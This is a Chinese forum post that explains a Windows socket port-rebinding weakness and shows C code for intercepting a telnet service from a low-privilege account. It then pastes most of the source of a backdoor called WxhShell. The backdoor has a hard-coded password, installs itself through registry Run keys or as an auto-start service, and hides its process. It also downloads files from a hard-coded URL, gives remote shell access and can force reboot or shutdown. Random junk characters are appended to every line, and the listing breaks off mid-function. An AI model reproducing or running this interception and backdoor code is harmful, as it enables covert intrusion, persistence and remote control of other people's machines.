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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b2,mCfLsv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7dG 79H  
*OJ/V O  
  saddr.sin_family = AF_INET; -|k)tvAm  
LQ11ba  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J5p"7bc  
3.d"rl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #11NPo9  
Uxfl_@lJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J7D}%  
OO dSKf8  
  这意味着什么?意味着可以进行如下的攻击: 1=sXdcy;  
g"s$}5{8:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $ ,SF@BhO  
/MMd`VrC2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4/kv3rv  
3A:q7#m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2~[@_  
=gfI!w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S{4z?Ri, '  
;8WZx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q|Y0,1eVp|  
&8&d3EQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A[IL H_w  
)#|<w9uec  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p.}Ls)I  
_=ua6}Xp  
  #include LMi:%i%\  
  #include YprH wL  
  #include uw\2qU3gk  
  #include     ~ ~uAc_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {oc igR 0  
  int main() dzK{ Z  
  { DRqZ,[!+  
  WORD wVersionRequested; CQel3Jtt.  
  DWORD ret; ~\x:<)  
  WSADATA wsaData; Om{l>24i.\  
  BOOL val; }X GEX:1K  
  SOCKADDR_IN saddr; )X4K2~k*  
  SOCKADDR_IN scaddr; 26X+ }^52  
  int err; m)V/L]4  
  SOCKET s; f\'{3I29  
  SOCKET sc; !O\;Nua  
  int caddsize; N#lDW~e'  
  HANDLE mt; 'r(1Nj  
  DWORD tid;   -a*K$rnB  
  wVersionRequested = MAKEWORD( 2, 2 ); [I4ege>  
  err = WSAStartup( wVersionRequested, &wsaData ); 1/p*tZP8i  
  if ( err != 0 ) { {G <kA(Lm  
  printf("error!WSAStartup failed!\n"); s yU9O&<  
  return -1; o6f_l^+H  
  } dz~co Z9  
  saddr.sin_family = AF_INET; vR0 ];{  
   cvwhSdZu8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dKl^jsd  
hTP:[w)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6wco&7   
  saddr.sin_port = htons(23); 98 8]}{w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) | mu+9   
  { gP+fN$5'd  
  printf("error!socket failed!\n"); eh,~^x5  
  return -1; ?#yV3h|Ij  
  } rkiT1YTY  
  val = TRUE; )54%HM_$k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qV5DW0.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G=;k=oX(  
  { hOhS)  
  printf("error!setsockopt failed!\n"); Kwc6mlw~M  
  return -1; VqL.iZ-  
  } +[SgO}sF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2pdvWWh3l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pP(XIC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cyxuK*x<  
E}%hz*Q)(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5[j`6l  
  { T~h5B(J;  
  ret=GetLastError(); "c}@V*cO<d  
  printf("error!bind failed!\n"); 5*[2yKsTi  
  return -1; 3\T2?w9u(  
  } (KvROV);  
  listen(s,2); &uC@|dbC5  
  while(1) q80S[au  
  { jA#/Z  
  caddsize = sizeof(scaddr); [r/k% <  
  //接受连接请求 hHqh{:q{v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G,;,D9jO7  
  if(sc!=INVALID_SOCKET) EyY.KxCB  
  { wP,JjPUt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;[RZ0Uy=  
  if(mt==NULL) nx0K$ Ptq  
  { E^U0f/5 m  
  printf("Thread Creat Failed!\n"); sB69R:U;  
  break; 8w({\=  
  } RpLE 02U  
  } |yo\R{&6  
  CloseHandle(mt); e.c3nKXZ q  
  } KR7@[  
  closesocket(s); K'#E3={tt  
  WSACleanup();  +H$!a  
  return 0; p&VU0[LIC0  
  }   \QU^>2 3  
  DWORD WINAPI ClientThread(LPVOID lpParam) &@ JvnO:  
  { (knp#   
  SOCKET ss = (SOCKET)lpParam; +l=r#JF  
  SOCKET sc; mZ1)wH,  
  unsigned char buf[4096]; Z,iHy3`  
  SOCKADDR_IN saddr; u1xSp<59C  
  long num; A)ipFB 6K  
  DWORD val; ioPUUUb)  
  DWORD ret; yoAfc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )E+'*e{cK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %'0T Xr$  
  saddr.sin_family = AF_INET; # p[',$cC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ah~Y eJp  
  saddr.sin_port = htons(23); ,^icPQSwc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MQin"\  
  {  @3kKJ  
  printf("error!socket failed!\n"); V`@>MOw^d  
  return -1; $['Bv  
  }  <T[E=#  
  val = 100; ^k<o T'89  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %/updw#{B  
  { OT&k.!=  
  ret = GetLastError(); O9:U8$*  
  return -1; Ali9pvE  
  } y!]CJigpZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) imiR/V>N  
  { k%^lF?_0I  
  ret = GetLastError(); 3j3N!T9  
  return -1; Fv<`AU  
  } r1fGJv1!o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B7]MGXC  
  { P'Q+GRpSw  
  printf("error!socket connect failed!\n"); _ 84ut  
  closesocket(sc); XV^1tX>f{  
  closesocket(ss); ,-z9 #t  
  return -1; :_QCfH  
  } ^wS5>lf7p  
  while(1) LY+|[qka  
  { |*`Z*6n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VE8;sGaJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0@AAulRl  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `=7j$#6U  
  num = recv(ss,buf,4096,0); fw[y+Bi& ?  
  if(num>0) Qyy.IPTP  
  send(sc,buf,num,0); =Fdg/X1  
  else if(num==0) ]5%/3P,/  
  break; ~H!S,"n^,P  
  num = recv(sc,buf,4096,0); "+unS)M;Y  
  if(num>0) N<DGw?Rl  
  send(ss,buf,num,0); \(%Y%?dy  
  else if(num==0) #h/Mbj~S  
  break; )XWP\ h  
  } Zkf0p9h\  
  closesocket(ss); $[yFsA6  
  closesocket(sc); FN[{s  
  return 0 ; Uo2GK3nT  
  } ^%` wJ.c  
|2KAo!PI  
2YDM9`5xs\  
========================================================== U)3DQ6T99  
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下边附上一个代码,,WXhSHELL R i^[i}  
tr7<]Hm:  
========================================================== W2.qhY5  
vv=VRhwF  
#include "stdafx.h" 5ms""LD/  
S%`0'lzzj  
#include <stdio.h> (T2m"Yi:  
#include <string.h> XQS9,Hl  
#include <windows.h> Zv#Ll@v  
#include <winsock2.h> MR}Agu#LG  
#include <winsvc.h> M}!2H*  
#include <urlmon.h> PiA0]>  
HF(KN{0.B  
#pragma comment (lib, "Ws2_32.lib") 3d|9t9v  
#pragma comment (lib, "urlmon.lib") YQY%M>F@d%  
3$X'Y]5a  
#define MAX_USER   100 // 最大客户端连接数 HbW0wuI  
#define BUF_SOCK   200 // sock buffer QcpXn4/*  
#define KEY_BUFF   255 // 输入 buffer l<);s  
A,4fEmWM  
#define REBOOT     0   // 重启 p}cw{  
#define SHUTDOWN   1   // 关机 y '!m4-  
.?l\g-;=  
#define DEF_PORT   5000 // 监听端口 :>=\.\  
Q1+dCCY#F  
#define REG_LEN     16   // 注册表键长度 v;)..X30  
#define SVC_LEN     80   // NT服务名长度 @9"J|}  
y:6; LZ9[  
// 从dll定义API f!JS= N?3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qubp9C#r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^#sU*trr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dtj&W<NXo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G.UI|r /Kz  
gg8Uo G  
// wxhshell配置信息 *M"}z  
struct WSCFG { Y0X-Zqk'  
  int ws_port;         // 监听端口 z[;z>8|c  
  char ws_passstr[REG_LEN]; // 口令 k5T,990  
  int ws_autoins;       // 安装标记, 1=yes 0=no /3{b%0Aa  
  char ws_regname[REG_LEN]; // 注册表键名 Bi{$@n&?f  
  char ws_svcname[REG_LEN]; // 服务名 (P$H<FtH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hodgDrmO/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |vw"[7_aS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /gG"v5]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K1T4cUo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O<V4HUW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^ (FdXGs[  
5s]. @C8  
}; 9th,VnD0  
@/31IOIV]`  
// default Wxhshell configuration OE-gC2&Bm  
struct WSCFG wscfg={DEF_PORT, -(=eM3o-9m  
    "xuhuanlingzhe", 3p'I5,}  
    1, ^N)R=tl  
    "Wxhshell", gdQvp=v]  
    "Wxhshell", zOiu5  
            "WxhShell Service", % oo2/aF  
    "Wrsky Windows CmdShell Service", pJtex^{!:  
    "Please Input Your Password: ", %ALwz[~]  
  1, P ! _rEV  
  "http://www.wrsky.com/wxhshell.exe", ;&)-;l7M  
  "Wxhshell.exe" =z /dcC$r  
    }; @!1x7%]G  
8#g1P4  
// 消息定义模块 BT"XT5@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PAM}*'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |/)${*a4n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :n-]>Q>5=k  
char *msg_ws_ext="\n\rExit."; s ']Bx=  
char *msg_ws_end="\n\rQuit."; $A-J,_:T<  
char *msg_ws_boot="\n\rReboot..."; sjV!5Z  
char *msg_ws_poff="\n\rShutdown..."; \vO,E e~#W  
char *msg_ws_down="\n\rSave to "; uu>Pkfo  
@8I4[TE  
char *msg_ws_err="\n\rErr!"; :Cj OPl  
char *msg_ws_ok="\n\rOK!"; (R("H/6xs  
v p/yG   
char ExeFile[MAX_PATH]; w {3<{  
int nUser = 0; )z28=%g  
HANDLE handles[MAX_USER]; Ptdpj)oi&Q  
int OsIsNt; L}pt)w*V1j  
W@I|Q -  
SERVICE_STATUS       serviceStatus; N <Xq]! K-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @P?~KW6<|  
io8'g3<  
// 函数声明 ZNvEW  
int Install(void); "9Q40w\  
int Uninstall(void); =D<PVGo9  
int DownloadFile(char *sURL, SOCKET wsh); K42K!8$  
int Boot(int flag); mrF58Uq;A  
void HideProc(void); z+n,uHs  
int GetOsVer(void); Jh!I:;/  
int Wxhshell(SOCKET wsl); lE(a%'36  
void TalkWithClient(void *cs); W~7A+=&  
int CmdShell(SOCKET sock); }xh$T'M8  
int StartFromService(void); oc>{?.^  
int StartWxhshell(LPSTR lpCmdLine); B e0ND2oo  
_dhgAx-H)h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !*B'?|a<\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b?lD(fa&  
Rx=>6,)'  
// 数据结构和表定义 kZGRxp9  
SERVICE_TABLE_ENTRY DispatchTable[] = Tq[kl'_  
{ 0i\M,TNf*  
{wscfg.ws_svcname, NTServiceMain}, fO[+LR 'ax  
{NULL, NULL} 2`N,,  
}; ~yW4)4k;b  
%/zbgS`  
// 自我安装 }%{LJ}\Px  
int Install(void) =V-|#j  
{ TI,&!E?;  
  char svExeFile[MAX_PATH]; e9U9Uu[  
  HKEY key; ?Yth0O6?sb  
  strcpy(svExeFile,ExeFile); $m-2Hh qZ  
(Hb:?(  
// 如果是win9x系统,修改注册表设为自启动 9 %I?).5  
if(!OsIsNt) { r w2arx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GkTiDm?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CU@Rob}s  
  RegCloseKey(key); ?FpWvyz|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .ufTQ?Fe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (jRm[7H  
  RegCloseKey(key); AW!?"xdZ  
  return 0; n%.7h3  
    } TU,s*D&e  
  } m!tbkZHQn0  
} :2rZcoNb.  
else { 8"8t-E#?  
S79;^X  
// 如果是NT以上系统,安装为系统服务 eoG$.M"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |Sy<@oq  
if (schSCManager!=0) PIoLywpRn  
{ 87 $dBb{  
  SC_HANDLE schService = CreateService fY51:0{  
  ( &;[Io  
  schSCManager, 2j}\3Pi  
  wscfg.ws_svcname, yy i#Mo ,  
  wscfg.ws_svcdisp, ogHCt{'  
  SERVICE_ALL_ACCESS, fPR1f~r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `tA" }1;ka  
  SERVICE_AUTO_START, #mCL) [  
  SERVICE_ERROR_NORMAL, ~5%W:qwQ  
  svExeFile, Vr`R>S,-  
  NULL, NflD/q/ L  
  NULL, ;S^'V  
  NULL, q$Zh@  
  NULL, rrBsb -  
  NULL xSsa(b  
  ); v4`"1Ss,K  
  if (schService!=0) (3 Two}  
  { .*Ct bGw  
  CloseServiceHandle(schService); CUBEW~X}M  
  CloseServiceHandle(schSCManager); :OhHb #D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^6MU 0Q2  
  strcat(svExeFile,wscfg.ws_svcname); e478U$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >>t@}F)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `(ue63AZ  
  RegCloseKey(key); ~obqG!2m  
  return 0; 4U+xb>  
    } 7vrl'^1  
  } S >X:ZYYC  
  CloseServiceHandle(schSCManager); =S+wCN  
} e.7EU  
} IEsEdw]aZE  
l1OE!W W  
return 1; P2BWuh F  
} jjw`Dto&  
}@'$b<!B  
// 自我卸载 ]6(N@RC  
int Uninstall(void) )U7t  
{ a!7A_q8M  
  HKEY key; dJeNbVd  
~J wb`g.  
if(!OsIsNt) { ; >hNt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &5fJPv &  
  RegDeleteValue(key,wscfg.ws_regname); A+ZK4]xb  
  RegCloseKey(key); cu7hBf j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ([T>.s  
  RegDeleteValue(key,wscfg.ws_regname); "d#Y}@*~o  
  RegCloseKey(key); lT(WD}OS  
  return 0; K6v6ynp/  
  } &C, 'x4c"  
} 7~^GA.92  
} 9kN}c<o  
else { B(LWdap~  
~:kZgUP_f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 42{Ew8  
if (schSCManager!=0) mZtCL  
{ sJ;g$TB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vj'wm}/  
  if (schService!=0) : UGZ+  
  { 8uc1iB  
  if(DeleteService(schService)!=0) { +Mo9kC  
  CloseServiceHandle(schService); ov ` h  
  CloseServiceHandle(schSCManager); p Dx1z|@z  
  return 0; &=Ar  
  } Z &Pg"a?\  
  CloseServiceHandle(schService); bH7X'%r  
  } jVv0ST*z  
  CloseServiceHandle(schSCManager); ieDk;  
} \r;#g{ _  
} Vwg|K|  
h58`XH  
return 1; Zd^rNHhA  
} ,&]S(|2%>t  
3 }TaF~  
// 从指定url下载文件 >Ea8G,  
int DownloadFile(char *sURL, SOCKET wsh) ~ -4{B  
{ :~b3^xhc^  
  HRESULT hr; lGPUIoUo  
char seps[]= "/"; Bn=by{i  
char *token; f2Klt6"9  
char *file; #|Y5,a ,{  
char myURL[MAX_PATH]; ][gq#Vx@  
char myFILE[MAX_PATH]; 3GaQk-  
5,3'=mA6  
strcpy(myURL,sURL); hm84Aq= f  
  token=strtok(myURL,seps); tX9{hC^  
  while(token!=NULL) 1->dMm}G[  
  { jqWu  
    file=token; \f]k CB  
  token=strtok(NULL,seps); <C1H36p  
  } C]O(T2l{l  
RkH W   
GetCurrentDirectory(MAX_PATH,myFILE); x[wq]q#*  
strcat(myFILE, "\\"); fM]+SMZy  
strcat(myFILE, file); ypbe!Y<i]  
  send(wsh,myFILE,strlen(myFILE),0); m!|kW{B#A  
send(wsh,"...",3,0); 5L+>ewl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oRm L {UDZ  
  if(hr==S_OK) 0LPig[  
return 0; 3QV*%  
else nHnK)9\N  
return 1; $:=A'd2  
7]U"Z*  
} h;C5hU 4P  
L"E7#}  
// 系统电源模块 <;9 I@VYK  
int Boot(int flag) G"-?&)M#a  
{ (7mAt3n k  
  HANDLE hToken; (|[2J3ZET  
  TOKEN_PRIVILEGES tkp; @oNH@a j%  
*?5*m+  
  if(OsIsNt) { ;X8yFq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EY^1Y3D w0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); opY@RJ]  
    tkp.PrivilegeCount = 1; gFeO}otm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kW2sY^Rg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N+m)/x =:  
if(flag==REBOOT) { nGpXI\K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T}Km?d  
  return 0; X\]L=>]C  
} l Q'I  
else { Nh8Q b/::  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NTdixfR  
  return 0; (_niMQtF}  
} Ee)T1~;W  
  } >QjAoDVX?  
  else { X}=n:Ql'YY  
if(flag==REBOOT) { ^`*9QjY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y'c>:;JEe  
  return 0;  |XT)QK1  
} D8inB+/-  
else { KX76UW   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HFKf kAl  
  return 0; ) brVduB  
} q4R5<LW"  
} VvvRRP^q  
whmdcVh.  
return 1; n(b(yXYm]  
} b=g8eMm  
GQt8p[!  
// win9x进程隐藏模块 gD,1 06%  
void HideProc(void) -9%:ilX~  
{ >z/#_z@LV  
r;B8i!gD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \.C +ue  
  if ( hKernel != NULL ) TlXI|3Ip  
  { B:dB,3,`(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SFB~ ->db  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hU(umL<  
    FreeLibrary(hKernel); "8c@sHk(w  
  } gcE|#1>  
J,V9k[88  
return; )2pbpbWX>  
} {J{+FFsr(  
V[{6e  
// 获取操作系统版本 CpA|4'#  
int GetOsVer(void) qS403+Su1=  
{ dq7x3v^"ZG  
  OSVERSIONINFO winfo; bHPYp5UwN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CUO+9X-<8  
  GetVersionEx(&winfo); ~c8? >oN(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @E^~$-J5j  
  return 1; sc|_Q/`\.  
  else o]+z)5zC  
  return 0; 3[\iQ*d }B  
} J{l1nHQZSu  
)hd@S9Z.Y  
// 客户端句柄模块 0@ yXi  
int Wxhshell(SOCKET wsl) b o0^3]Z  
{ LUG;(Fko  
  SOCKET wsh; Gn\_+Pj$  
  struct sockaddr_in client; /mXBvY  
  DWORD myID; 6FUw"|\u{  
N96jJk  
  while(nUser<MAX_USER) ~Fe${2   
{ )i~cr2Hk  
  int nSize=sizeof(client); ~J5+i9T.)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1q~+E\x  
  if(wsh==INVALID_SOCKET) return 1; 03xa'Of>  
O?NeSx 1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S\''e`Eb"5  
if(handles[nUser]==0) Ot:CPm@  
  closesocket(wsh); Vx(B{5>Vu  
else kQ4dwF~  
  nUser++; +J_c'ChN  
  } l/BLUl~z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jpj}@,  
b^ L \>3  
  return 0; pwO>h>ik  
} CEXyrs<  
3b*cU}go  
// 关闭 socket &Flglj~7l  
void CloseIt(SOCKET wsh) e8y;.D[2  
{ ~hZ"2$(0  
closesocket(wsh); -mC0+}h  
nUser--; h "Xg;(K  
ExitThread(0); g+DzscIT  
} _6_IP0;  
T#M,~lD  
// 客户端请求句柄 $u7; TW6QD  
void TalkWithClient(void *cs) wi hH?~]  
{ .9,zL=)Ba  
1)9sf0LyU  
  SOCKET wsh=(SOCKET)cs; j;']cWe  
  char pwd[SVC_LEN]; 2]I4M[|&z  
  char cmd[KEY_BUFF]; +)kb(  
char chr[1]; UUSq$~Ct  
int i,j;  u*e.yN  
i#7DR>XF/  
  while (nUser < MAX_USER) { WF2}-NU"  
BsBK@+ZyI  
if(wscfg.ws_passstr) { {xwm^p(f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2uG0/7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l-K9LTd  
  //ZeroMemory(pwd,KEY_BUFF); 0F@"b{&0  
      i=0; EM]s/LD@%  
  while(i<SVC_LEN) { MJ7Y#<u  
+IrLDsd  
  // 设置超时 ;+0t;B!V  
  fd_set FdRead; lFa02p0  
  struct timeval TimeOut; z8{a(nKP  
  FD_ZERO(&FdRead); =6woWlfb  
  FD_SET(wsh,&FdRead); F4It/  
  TimeOut.tv_sec=8; W^fuScG)c  
  TimeOut.tv_usec=0; F\fWvXdW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7Ok;Lt!x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2}YOcnB  
aJYgzr,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SPN5dE.@  
  pwd=chr[0]; "vXxv'0\f  
  if(chr[0]==0xd || chr[0]==0xa) { Tg!i%v(-t  
  pwd=0; xG}(5Tt  
  break; A{UULVp  
  } I'PeN0T f  
  i++; F_Z- 8>P  
    } ;} und*q  
Dpvk\t  
  // 如果是非法用户,关闭 socket #6ri-n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LAVAFlK5  
} RMX:9aQ3F  
JXCCTUO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~3WM5 fv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8dV=[+  
y|CP;:f;  
while(1) { EPS={w$'s  
W.z;B<  
  ZeroMemory(cmd,KEY_BUFF); ~vs}.kb  
QF{4/y^j{  
      // 自动支持客户端 telnet标准   %{YN70/  
  j=0; ;w'D4p= P  
  while(j<KEY_BUFF) { ` jzTmt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MxWy*|J}  
  cmd[j]=chr[0]; bSsh^Z  
  if(chr[0]==0xa || chr[0]==0xd) { *\=.<|HZ  
  cmd[j]=0; ~GTz:nC*  
  break; h]og*(  
  } 4$qWiG~  
  j++; ELBa}h;  
    } Wi[~fI8^!  
"J+3w  
  // 下载文件 , FhekaA  
  if(strstr(cmd,"http://")) { '6Ay&A3N]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CF+_/s#j^  
  if(DownloadFile(cmd,wsh)) .7i` (F)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uu!f,L;ty  
  else T6H}/#*tK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,stN  
  } wSb 1"a  
  else { 3= xhoRX  
/V8}eZ97  
    switch(cmd[0]) { \zieyE  
  (Q%'N3gk  
  // 帮助 ~\=1'D^6CK  
  case '?': { 7:9.&W/KE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /J04^ 6  
    break; ,S'p %g  
  } XEn*?.e  
  // 安装 I *x[:)X8  
  case 'i': { Jj,U RD&0R  
    if(Install()) G"X8}:}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !,[C] Q1  
    else qtiz a~u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4!+pc-}-  
    break; _/Gczy4)#  
    } V6t,BJjS  
  // 卸载 h.-@ F  
  case 'r': { Hu.t 3:w  
    if(Uninstall()) ]4h92\\965  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SV:4GVf  
    else HHq_P/'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G2t;DN(  
    break; *NkA8PC  
    } bhkUKxd  
  // 显示 wxhshell 所在路径 SG-'R1 J  
  case 'p': { }:u~K;O87  
    char svExeFile[MAX_PATH]; = QQ5f5\l  
    strcpy(svExeFile,"\n\r"); Y^ kXSU  
      strcat(svExeFile,ExeFile); vFE;D@bz:  
        send(wsh,svExeFile,strlen(svExeFile),0); v-yde >(  
    break; }e2(T  
    } PUo/J~v  
  // 重启 Q-MQ9'  
  case 'b': { #+$G=pS'v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?*?RP)V  
    if(Boot(REBOOT)) S/Fkw4%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2>86oP&  
    else { mjWU0Gh%*  
    closesocket(wsh); 2Yp7  
    ExitThread(0); #{k|I$  
    } f>piHh?  
    break; h3*Zfl<]  
    } 3pK*~VK  
  // 关机 L:_bg8eD#  
  case 'd': { LbaK={tR  
